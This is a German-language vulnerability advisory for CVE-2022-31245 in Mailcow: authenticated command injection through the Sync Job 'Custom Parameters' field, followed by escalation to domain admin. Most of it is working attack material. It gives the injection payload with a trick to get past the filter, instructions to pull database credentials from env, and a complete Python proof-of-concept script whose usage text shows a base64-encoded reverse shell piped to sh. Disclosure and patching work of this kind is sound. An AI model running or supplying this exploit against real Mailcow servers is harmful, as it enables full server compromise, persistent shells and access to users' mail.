
CVE-2022-31245: RCE und Domain-Admin-Privilegieneskalation für Mailcow
CVE-2022-31245: RCE und Eskalation von Domain-Admin-Rechten für Mailcow. Inklusive POC.
Gemeldet und behoben: 2022-05
Gepatchte Version: https://github.com/mailcow/mailcow-dockerized/releases/tag/2022-05d
CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31245
Schweregrad: 3/3
Typ: Command Injection, RCE, Domain-Übernahme
Betroffene Versionen: mindestens 2019 – 2022-05c
In allen aktuellen Mailcow-Versionen gibt es einen Fehler, bei dem ein normaler Benutzer des Systems die „Sync Job“-Funktion ausnutzen kann, um eine Shell mittels einer Befehlseinschleusung in imapsync zu erlangen. Mit dieser Sicherheitslücke kann ein Angreifer dann leicht zur Datenbank wechseln und seine Rechte auf die Rolle des „Domain-Admin“ in Mailcow erhöhen.
Dieser Exploit beinhaltet standardmäßig Persistenz, da Sync Jobs mit einem Timer ausgeführt werden.
Dieser Exploit gefährdet die gesamte Mailcow-Instanz. Getestet und funktionierend auf dem Stand von 2022-05c. Gepatched in 2022-05d.
Mit den folgenden Schritten kann die Sicherheitslücke nachvollzogen werden.
Shell erlangen:
hostname=MAILCOW_IP, Port=IMAP_PORT, Username=CURRENT_USER, Password=CURRENT_PASS, Encryption=PLAIN, Interval=1, Active=Check, Custom Parameters=--debug --nosslcheck --PIPEMESS=CMD
Dabei ist das Feld "Custom Parameters" das wichtige Feld. CMD kann ein beliebiger Shell-Befehl ohne Leerzeichen sein. Die Verwendung von Großbuchstaben ist wichtig!Beispiel-Payload für Custom Parameters:
--debug --nosslcheck --PIPEMESS=touch${IFS}test.txt
CMD darf keine Leerzeichen, Anführungszeichen oder Schrägstriche enthalten; verwenden Sie stattdessen ${IFS} für Leerzeichen. Großschreibung für --PIPEMESS ist wichtig, um die Prüfung in functions.mailbox.inc.php in Zeile 340 zu umgehen:
if (strpos($custom_params, 'pipemess')) {
$custom_params = '';
}
Dieser Großbuchstaben-Befehl funktioniert dennoch, da imapsync case-insensitive ist.
Privilegieneskalation:
env ausDBUSER und DBPASSmysql und den Anmeldedaten bei der Datenbank anAutomatisierter POC. Der POC muss möglicherweise in einigen Fällen angepasst werden, um gegen nicht-lokale Mailcow-Instanzen ausgeführt zu werden.
#!/bin/python3
description = """
Mailcow authenticated RCE. Only for educational purposes!!
By: ly1g3[at]tuta.io
This exploit can be used to get mailcow domain admin using mysql credentials found in "env" after getting shell.
Quotes, spaces and slash cant be used in cmd. Use ${IFS} as space. End command with ; is recommended.
Example reverse shell use: --cmd 'echo${IFS}PYTHON_REVERSE_SHELL_BASE64${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;' where PYTHON_REVERSE_SHELL_BASE64 is python reverse shell.
Example usage: ./mailcow_poc1.py --url https://192.168.1.2 --user [email protected] --passwd testpass --cmd 'echo${IFS}PYTHON_REVERSE_SHELL_BASE64${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;'
"""
import requests
import urllib
import sys
from urllib.parse import urlparse
import argparse
from argparse import RawTextHelpFormatter
from datetime import datetime
parser = argparse.ArgumentParser(description=description, formatter_class=RawTextHelpFormatter)
parser.add_argument('--url', help='Url to the mailcow server', required=True)
parser.add_argument('--user', help='Mailcow username, example [email protected]', required=True)
parser.add_argument('--passwd', help='Mailcow user password', required=True)
parser.add_argument('--cmd', help='Command to execute', required=True)
args = parser.parse_args()
base_url = args.url
# hostname = urlparse(base_url).netloc
hostname = '127.0.0.1'
user = args.user
password = args.passwd
cmd = args.cmd
# Get the required csrf token
def find_csrf_token(text):
try:
start1 = text.index("var csrf_token")
start2 = text.index("'", start1)
end2 = text.index("'", start2+1)
csrf_token = text[start2+1:end2]
return csrf_token
except:
return ""
login_url = base_url + '/'
s = requests.Session()
# Login
r1 = s.post(login_url, data={'login_user': user, 'pass_user': password}, verify=False)
token = find_csrf_token(r1.text)
if not token:
print("Error no token found, login problems?")
sys.exit(0)
print(f"CSRF token: {token}")
sync_url = base_url + '/api/v1/add/syncjob'
# Create sync job with command injection
attr = f'{{"host1":"{hostname}","port1":"143","user1":"{user}","password1":"{password}","enc1":"PLAIN","mins_interval":"1","subfolder2":"","maxage":"0","maxbytespersecond":"0","timeout1":"10","timeout2":"10","exclude":"(?i)spam|(?i)junk","custom_params":"--debug --nosslcheck --PIPEMESS={cmd}","subscribeall":"1","active":"1","csrf_token":"{token}"}}'
r2 = s.post(sync_url, data={'attr': attr, 'csrf_token': token}, verify=False)
c = r2.content
if c.find(b"mailbox_modified") != -1:
print("Success, rule modified")
elif c.find(b"object_exists") != -1:
print("ERROR: Object exists, remove existing rule before running this")
print(c)
sys.exit(0)
else:
print("ERROR: Something went wrong")
print(c)
now = datetime.now()
current_time = now.strftime("%H:%M:%S")
print("Command may take 1min to execute...")
print(f"Done at: {current_time}")